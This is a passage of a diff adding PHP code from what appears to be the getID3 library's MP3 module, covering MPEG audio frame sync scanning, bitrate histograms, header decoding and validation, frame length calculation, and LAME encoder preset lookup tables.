playtime and bitrate may be incorrect.'); + foreach ($Distribution as $key1 => $value1) { + foreach ($value1 as $key2 => $value2) { + $Distribution[$key1][$key2] = round($value2 / $pct_data_scanned); + } + } + break; + } + continue; + } + } + unset($next4); + $this->fseek($WhereWeWere - 3); + } + + } + } + foreach ($Distribution as $key => $value) { + ksort($Distribution[$key], SORT_NUMERIC); + } + ksort($Distribution['version'], SORT_STRING); + $info['mpeg']['audio']['bitrate_distribution'] = $Distribution['bitrate']; + $info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency']; + $info['mpeg']['audio']['layer_distribution'] = $Distribution['layer']; + $info['mpeg']['audio']['version_distribution'] = $Distribution['version']; + $info['mpeg']['audio']['padding_distribution'] = $Distribution['padding']; + if (count($Distribution['version']) > 1) { + $this->error('Corrupt file - more than one MPEG version detected'); + } + if (count($Distribution['layer']) > 1) { + $this->error('Corrupt file - more than one MPEG layer detected'); + } + if (count($Distribution['frequency']) > 1) { + $this->error('Corrupt file - more than one MPEG sample rate detected'); + } + + + $bittotal = 0; + foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) { + if ($bitratevalue != 'free') { + $bittotal += ($bitratevalue * $bitratecount); + } + } + $info['mpeg']['audio']['frame_count'] = array_sum($Distribution['bitrate']); + if ($info['mpeg']['audio']['frame_count'] == 0) { + $this->error('no MPEG audio frames found'); + return false; + } + $info['mpeg']['audio']['bitrate'] = ($bittotal / $info['mpeg']['audio']['frame_count']); + $info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr'); + $info['mpeg']['audio']['sample_rate'] = getid3_lib::array_max($Distribution['frequency'], true); + + $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; + $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; + $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; + $info['audio']['dataformat'] = 'mp'.getid3_lib::array_max($Distribution['layer'], true); + $info['fileformat'] = $info['audio']['dataformat']; + + return true; + } + + /** + * @param int $avdataoffset + * @param bool $BitrateHistogram + * + * @return bool + */ + public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) { + // looks for synch, decodes MPEG audio header + + $info = &$this->getid3->info; + + static $MPEGaudioVersionLookup; + static $MPEGaudioLayerLookup; + static $MPEGaudioBitrateLookup; + if (empty($MPEGaudioVersionLookup)) { + $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); + $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); + $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); + } + + $this->fseek($avdataoffset); + $sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset); + if ($sync_seek_buffer_size <= 0) { + $this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset); + return false; + } + $header = $this->fread($sync_seek_buffer_size); + $sync_seek_buffer_size = strlen($header); + $SynchSeekOffset = 0; + $SyncSeekAttempts = 0; + $SyncSeekAttemptsMax = 1000; + $FirstFrameThisfileInfo = null; + while ($SynchSeekOffset < $sync_seek_buffer_size) { + if ((($avdataoffset + $SynchSeekOffset) < $info['avdataend']) && !feof($this->getid3->fp)) { + + if ($SynchSeekOffset > $sync_seek_buffer_size) { + // if a synch's not found within the first 128k bytes, then give up + $this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB'); + if (isset($info['audio']['bitrate'])) { + unset($info['audio']['bitrate']); + } + if (isset($info['mpeg']['audio'])) { + unset($info['mpeg']['audio']); + } + if (empty($info['mpeg'])) { + unset($info['mpeg']); + } + return false; + + } elseif (feof($this->getid3->fp)) { + + $this->error('Could not find valid MPEG audio synch before end of file'); + if (isset($info['audio']['bitrate'])) { + unset($info['audio']['bitrate']); + } + if (isset($info['mpeg']['audio'])) { + unset($info['mpeg']['audio']); + } + if (isset($info['mpeg']) && (!is_array($info['mpeg']) || (count($info['mpeg']) == 0))) { + unset($info['mpeg']); + } + return false; + } + } + + if (($SynchSeekOffset + 1) >= strlen($header)) { + $this->error('Could not find valid MPEG synch before end of file'); + return false; + } + + if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // possible synch detected + if (++$SyncSeekAttempts >= $SyncSeekAttemptsMax) { + // https://github.com/JamesHeinrich/getID3/issues/286 + // corrupt files claiming to be MP3, with a large number of 0xFF bytes near the beginning, can cause this loop to take a very long time + // should have escape condition to avoid spending too much time scanning a corrupt file + // if a synch's not found within the first 128k bytes, then give up + $this->error('Could not find valid MPEG audio synch after scanning '.$SyncSeekAttempts.' candidate offsets'); + if (isset($info['audio']['bitrate'])) { + unset($info['audio']['bitrate']); + } + if (isset($info['mpeg']['audio'])) { + unset($info['mpeg']['audio']); + } + if (empty($info['mpeg'])) { + unset($info['mpeg']); + } + return false; + } + $FirstFrameAVDataOffset = null; + if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) { + $FirstFrameThisfileInfo = $info; + $FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset; + if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) { + // if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's + // garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below + unset($FirstFrameThisfileInfo); + } + } + + $dummy = $info; // only overwrite real data if valid header found + if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) { + $info = $dummy; + $info['avdataoffset'] = $avdataoffset + $SynchSeekOffset; + switch (isset($info['fileformat']) ? $info['fileformat'] : '') { + case '': + case 'id3': + case 'ape': + case 'mp3': + $info['fileformat'] = 'mp3'; + $info['audio']['dataformat'] = 'mp3'; + break; + } + if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) { + if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) { + // If there is garbage data between a valid VBR header frame and a sequence + // of valid MPEG-audio frames the VBR data is no longer discarded. + $info = $FirstFrameThisfileInfo; + $info['avdataoffset'] = $FirstFrameAVDataOffset; + $info['fileformat'] = 'mp3'; + $info['audio']['dataformat'] = 'mp3'; + $dummy = $info; + unset($dummy['mpeg']['audio']); + $GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength']; + $GarbageOffsetEnd = $avdataoffset + $SynchSeekOffset; + if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) { + $info = $dummy; + $info['avdataoffset'] = $GarbageOffsetEnd; + $this->warning('apparently-valid VBR header not used because could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd); + } else { + $this->warning('using data from VBR header even though could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')'); + } + } + } + if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) { + // VBR file with no VBR header + $BitrateHistogram = true; + } + + if ($BitrateHistogram) { + + $info['mpeg']['audio']['stereo_distribution'] = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0); + $info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0); + + if ($info['mpeg']['audio']['version'] == '1') { + if ($info['mpeg']['audio']['layer'] == 3) { + $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0); + } elseif ($info['mpeg']['audio']['layer'] == 2) { + $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0); + } elseif ($info['mpeg']['audio']['layer'] == 1) { + $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0); + } + } elseif ($info['mpeg']['audio']['layer'] == 1) { + $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0); + } else { + $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0); + } + + $dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); + $synchstartoffset = $info['avdataoffset']; + $this->fseek($info['avdataoffset']); + + // you can play with these numbers: + $max_frames_scan = 50000; + $max_scan_segments = 10; + + // don't play with these numbers: + $FastMode = false; + $SynchErrorsFound = 0; + $frames_scanned = 0; + $this_scan_segment = 0; + $frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments); + $pct_data_scanned = 0; + for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) { + $frames_scanned_this_segment = 0; + $scan_start_offset = array(); + if ($this->ftell() >= $info['avdataend']) { + break; + } + $scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments))); + if ($current_segment > 0) { + $this->fseek($scan_start_offset[$current_segment]); + $buffer_4k = $this->fread(4096); + for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) { + if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected + if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) { + $calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength']; + if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) { + $scan_start_offset[$current_segment] += $j; + break; + } + } + } + } + } + $synchstartoffset = $scan_start_offset[$current_segment]; + while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) { + $FastMode = true; + $thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']]; + + if (empty($dummy['mpeg']['audio']['framelength'])) { + $SynchErrorsFound++; + $synchstartoffset++; + } else { + getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]); + getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]); + getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]); + $synchstartoffset += $dummy['mpeg']['audio']['framelength']; + } + $frames_scanned++; + if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) { + $this_pct_scanned = ($this->ftell() - $scan_start_offset[$current_segment]) / ($info['avdataend'] - $info['avdataoffset']); + if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) { + // file likely contains < $max_frames_scan, just scan as one segment + $max_scan_segments = 1; + $frames_scan_per_segment = $max_frames_scan; + } else { + $pct_data_scanned += $this_pct_scanned; + break; + } + } + } + } + if ($pct_data_scanned > 0) { + $this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); + foreach ($info['mpeg']['audio'] as $key1 => $value1) { + if (!preg_match('#_distribution$#i', $key1)) { + continue; + } + foreach ($value1 as $key2 => $value2) { + $info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned); + } + } + } + + if ($SynchErrorsFound > 0) { + $this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis'); + //return false; + } + + $bittotal = 0; + $framecounter = 0; + foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) { + $framecounter += $bitratecount; + if ($bitratevalue != 'free') { + $bittotal += ($bitratevalue * $bitratecount); + } + } + if ($framecounter == 0) { + $this->error('Corrupt MP3 file: framecounter == zero'); + return false; + } + $info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter); + $info['mpeg']['audio']['bitrate'] = ($bittotal / $framecounter); + + $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; + + + // Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently + $distinct_bitrates = 0; + foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) { + if ($bitrate_count > 0) { + $distinct_bitrates++; + } + } + if ($distinct_bitrates > 1) { + $info['mpeg']['audio']['bitrate_mode'] = 'vbr'; + } else { + $info['mpeg']['audio']['bitrate_mode'] = 'cbr'; + } + $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; + + } + + break; // exit while() + } + } + + $SynchSeekOffset++; + if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) { + // end of file/data + + if (empty($info['mpeg']['audio'])) { + + $this->error('could not find valid MPEG synch before end of file'); + if (isset($info['audio']['bitrate'])) { + unset($info['audio']['bitrate']); + } + if (isset($info['mpeg']['audio'])) { + unset($info['mpeg']['audio']); + } + if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) { + unset($info['mpeg']); + } + return false; + + } + break; + } + + } + $info['audio']['channels'] = $info['mpeg']['audio']['channels']; + $info['audio']['channelmode'] = $info['mpeg']['audio']['channelmode']; + $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; + return true; + } + + /** + * @return array + */ + public static function MPEGaudioVersionArray() { + static $MPEGaudioVersion = array('2.5', false, '2', '1'); + return $MPEGaudioVersion; + } + + /** + * @return array + */ + public static function MPEGaudioLayerArray() { + static $MPEGaudioLayer = array(false, 3, 2, 1); + return $MPEGaudioLayer; + } + + /** + * @return array + */ + public static function MPEGaudioBitrateArray() { + static $MPEGaudioBitrate; + if (empty($MPEGaudioBitrate)) { + $MPEGaudioBitrate = array ( + '1' => array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000), + 2 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000), + 3 => array('free', 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000) + ), + + '2' => array (1 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000), + 2 => array('free', 8000, 16000, 24000, 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000), + ) + ); + $MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2]; + $MPEGaudioBitrate['2.5'] = $MPEGaudioBitrate['2']; + } + return $MPEGaudioBitrate; + } + + /** + * @return array + */ + public static function MPEGaudioFrequencyArray() { + static $MPEGaudioFrequency; + if (empty($MPEGaudioFrequency)) { + $MPEGaudioFrequency = array ( + '1' => array(44100, 48000, 32000), + '2' => array(22050, 24000, 16000), + '2.5' => array(11025, 12000, 8000) + ); + } + return $MPEGaudioFrequency; + } + + /** + * @return array + */ + public static function MPEGaudioChannelModeArray() { + static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono'); + return $MPEGaudioChannelMode; + } + + /** + * @return array + */ + public static function MPEGaudioModeExtensionArray() { + static $MPEGaudioModeExtension; + if (empty($MPEGaudioModeExtension)) { + $MPEGaudioModeExtension = array ( + 1 => array('4-31', '8-31', '12-31', '16-31'), + 2 => array('4-31', '8-31', '12-31', '16-31'), + 3 => array('', 'IS', 'MS', 'IS+MS') + ); + } + return $MPEGaudioModeExtension; + } + + /** + * @return array + */ + public static function MPEGaudioEmphasisArray() { + static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17'); + return $MPEGaudioEmphasis; + } + + /** + * @param string $head4 + * @param bool $allowBitrate15 + * + * @return bool + */ + public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) { + return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15); + } + + /** + * @param array $rawarray + * @param bool $echoerrors + * @param bool $allowBitrate15 + * + * @return bool + */ + public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) { + if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) { + return false; + } + + static $MPEGaudioVersionLookup; + static $MPEGaudioLayerLookup; + static $MPEGaudioBitrateLookup; + static $MPEGaudioFrequencyLookup; + static $MPEGaudioChannelModeLookup; + static $MPEGaudioModeExtensionLookup; + static $MPEGaudioEmphasisLookup; + if (empty($MPEGaudioVersionLookup)) { + $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); + $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); + $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); + $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); + $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); + $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); + $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); + } + + if (isset($MPEGaudioVersionLookup[$rawarray['version']])) { + $decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']]; + } else { + echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : ''); + return false; + } + if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) { + $decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']]; + } else { + echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : ''); + return false; + } + if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) { + echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : ''); + if ($rawarray['bitrate'] == 15) { + // known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0 + // let it go through here otherwise file will not be identified + if (!$allowBitrate15) { + return false; + } + } else { + return false; + } + } + if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) { + echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : ''); + return false; + } + if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) { + echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : ''); + return false; + } + if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) { + echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : ''); + return false; + } + if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) { + echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : ''); + return false; + } + // These are just either set or not set, you can't mess that up :) + // $rawarray['protection']; + // $rawarray['padding']; + // $rawarray['private']; + // $rawarray['copyright']; + // $rawarray['original']; + + return true; + } + + /** + * @param string $Header4Bytes + * + * @return array|false + */ + public static function MPEGaudioHeaderDecode($Header4Bytes) { + // AAAA AAAA AAAB BCCD EEEE FFGH IIJJ KLMM + // A - Frame sync (all bits set) + // B - MPEG Audio version ID + // C - Layer description + // D - Protection bit + // E - Bitrate index + // F - Sampling rate frequency index + // G - Padding bit + // H - Private bit + // I - Channel Mode + // J - Mode extension (Only if Joint stereo) + // K - Copyright + // L - Original + // M - Emphasis + + if (strlen($Header4Bytes) != 4) { + return false; + } + + $MPEGrawHeader = array(); + $MPEGrawHeader['synch'] = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4; + $MPEGrawHeader['version'] = (ord($Header4Bytes[1]) & 0x18) >> 3; // BB + $MPEGrawHeader['layer'] = (ord($Header4Bytes[1]) & 0x06) >> 1; // CC + $MPEGrawHeader['protection'] = (ord($Header4Bytes[1]) & 0x01); // D + $MPEGrawHeader['bitrate'] = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE + $MPEGrawHeader['sample_rate'] = (ord($Header4Bytes[2]) & 0x0C) >> 2; // FF + $MPEGrawHeader['padding'] = (ord($Header4Bytes[2]) & 0x02) >> 1; // G + $MPEGrawHeader['private'] = (ord($Header4Bytes[2]) & 0x01); // H + $MPEGrawHeader['channelmode'] = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II + $MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; // JJ + $MPEGrawHeader['copyright'] = (ord($Header4Bytes[3]) & 0x08) >> 3; // K + $MPEGrawHeader['original'] = (ord($Header4Bytes[3]) & 0x04) >> 2; // L + $MPEGrawHeader['emphasis'] = (ord($Header4Bytes[3]) & 0x03); // MM + + return $MPEGrawHeader; + } + + /** + * @param int|string $bitrate + * @param string $version + * @param string $layer + * @param bool $padding + * @param int $samplerate + * + * @return int|false + */ + public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) { + static $AudioFrameLengthCache = array(); + + if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) { + $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false; + if ($bitrate != 'free') { + + if ($version == '1') { + + if ($layer == '1') { + + // For Layer I slot is 32 bits long + $FrameLengthCoefficient = 48; + $SlotLength = 4; + + } else { // Layer 2 / 3 + + // for Layer 2 and Layer 3 slot is 8 bits long. + $FrameLengthCoefficient = 144; + $SlotLength = 1; + + } + + } else { // MPEG-2 / MPEG-2.5 + + if ($layer == '1') { + + // For Layer I slot is 32 bits long + $FrameLengthCoefficient = 24; + $SlotLength = 4; + + } elseif ($layer == '2') { + + // for Layer 2 and Layer 3 slot is 8 bits long. + $FrameLengthCoefficient = 144; + $SlotLength = 1; + + } else { // layer 3 + + // for Layer 2 and Layer 3 slot is 8 bits long. + $FrameLengthCoefficient = 72; + $SlotLength = 1; + + } + + } + + // FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding + if ($samplerate > 0) { + $NewFramelength = ($FrameLengthCoefficient * $bitrate) / $samplerate; + $NewFramelength = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I) + if ($padding) { + $NewFramelength += $SlotLength; + } + $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength; + } + } + } + return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate]; + } + + /** + * @param float|int $bit_rate + * + * @return int|float|string + */ + public static function ClosestStandardMP3Bitrate($bit_rate) { + static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000); + static $bit_rate_table = array (0=>'-'); + $round_bit_rate = intval(round($bit_rate, -3)); + if (!isset($bit_rate_table[$round_bit_rate])) { + if ($round_bit_rate > max($standard_bit_rates)) { + $bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate)); + } else { + $bit_rate_table[$round_bit_rate] = max($standard_bit_rates); + foreach ($standard_bit_rates as $standard_bit_rate) { + if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) { + break; + } + $bit_rate_table[$round_bit_rate] = $standard_bit_rate; + } + } + } + return $bit_rate_table[$round_bit_rate]; + } + + /** + * @param string $version + * @param string $channelmode + * + * @return int + */ + public static function XingVBRidOffset($version, $channelmode) { + static $XingVBRidOffsetCache = array(); + if (empty($XingVBRidOffsetCache)) { + $XingVBRidOffsetCache = array ( + '1' => array ('mono' => 0x15, // 4 + 17 = 21 + 'stereo' => 0x24, // 4 + 32 = 36 + 'joint stereo' => 0x24, + 'dual channel' => 0x24 + ), + + '2' => array ('mono' => 0x0D, // 4 + 9 = 13 + 'stereo' => 0x15, // 4 + 17 = 21 + 'joint stereo' => 0x15, + 'dual channel' => 0x15 + ), + + '2.5' => array ('mono' => 0x15, + 'stereo' => 0x15, + 'joint stereo' => 0x15, + 'dual channel' => 0x15 + ) + ); + } + return $XingVBRidOffsetCache[$version][$channelmode]; + } + + /** + * @param int $VBRmethodID + * + * @return string + */ + public static function LAMEvbrMethodLookup($VBRmethodID) { + static $LAMEvbrMethodLookup = array( + 0x00 => 'unknown', + 0x01 => 'cbr', + 0x02 => 'abr', + 0x03 => 'vbr-old / vbr-rh', + 0x04 => 'vbr-new / vbr-mtrh', + 0x05 => 'vbr-mt', + 0x06 => 'vbr (full vbr method 4)', + 0x08 => 'cbr (constant bitrate 2 pass)', + 0x09 => 'abr (2 pass)', + 0x0F => 'reserved' + ); + return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : ''); + } + + /** + * @param int $StereoModeID + * + * @return string + */ + public static function LAMEmiscStereoModeLookup($StereoModeID) { + static $LAMEmiscStereoModeLookup = array( + 0 => 'mono', + 1 => 'stereo', + 2 => 'dual mono', + 3 => 'joint stereo', + 4 => 'forced stereo', + 5 => 'auto', + 6 => 'intensity stereo', + 7 => 'other' + ); + return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : ''); + } + + /** + * @param int $SourceSampleFrequencyID + * + * @return string + */ + public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) { + static $LAMEmiscSourceSampleFrequencyLookup = array( + 0 => '<= 32 kHz', + 1 => '44.1 kHz', + 2 => '48 kHz', + 3 => '> 48kHz' + ); + return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : ''); + } + + /** + * @param int $SurroundInfoID + * + * @return string + */ + public static function LAMEsurroundInfoLookup($SurroundInfoID) { + static $LAMEsurroundInfoLookup = array( + 0 => 'no surround info', + 1 => 'DPL encoding', + 2 => 'DPL2 encoding', + 3 => 'Ambisonic encoding' + ); + return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved'); + } + + /** + * @param array $LAMEtag + * + * @return string + */ + public static function LAMEpresetUsedLookup($LAMEtag) { + + if ($LAMEtag['preset_used_id'] == 0) { + // no preset used (LAME >=3.93) + // no preset recorded (LAME <3.93) + return ''; + } + $LAMEpresetUsedLookup = array(); + + ///// THIS PART CANNOT BE STATIC . + for ($i = 8; $i <= 320; $i++) { + switch ($LAMEtag['vbr_method']) { + case 'cbr': + $LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i; + break; + case 'abr': + default: // other VBR modes shouldn't be here(?) + $LAMEpresetUsedLookup[$i] = '--alt-preset '.$i; + break; + } + } + + // named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions() + + // named alt-presets + $LAMEpresetUsedLookup[1000] = '--r3mix'; + $LAMEpresetUsedLookup[1001] = '--alt-preset standard'; + $LAMEpresetUsedLookup[1002] = '--alt-preset extreme'; + $LAMEpresetUsedLookup[1003] = '--alt-preset insane'; + $LAMEpresetUsedLookup[1004] = '--alt-preset fast standard'; + $LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme'; + $LAMEpresetUsedLookup[1006] = '--alt-preset medium'; + $LAMEpresetUsedLookup[1007] = '--alt-preset fast medium'; + + // LAME 3.94 additions/changes + $LAMEpresetUsedLookup[1010] = '--preset portable'; // 3.94a15 Oct 21 2003 + $LAMEpresetUsedLookup[1015] = '--preset radio'; // 3.94a15 Oct 21 2003 + + $LAMEpresetUsedLookup[320] = '--preset insane'; // 3.94a15 Nov 12 2003 + $LAMEpresetUsedLookup[410] = '-V9'; + $LAMEpresetUsedLookup[420] = '-V8'; + $LAMEpresetUsedLookup[440] = '-V6'; + $LAMEpresetUsedLookup[430] = '--preset radio'; // 3.94a15 Nov 12 2003 + $LAMEpresetUsedLookup[450] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable'; // 3.94a15 Nov 12 2003 + $LAMEpresetUsedLookup[460] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium'; // 3.94a15 Nov 12 2003 + $LAMEpresetUsedLookup[470] = '--r3mix'; // 3.94b1 Dec 18 2003 + $LAMEpresetUsedLookup[480] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) 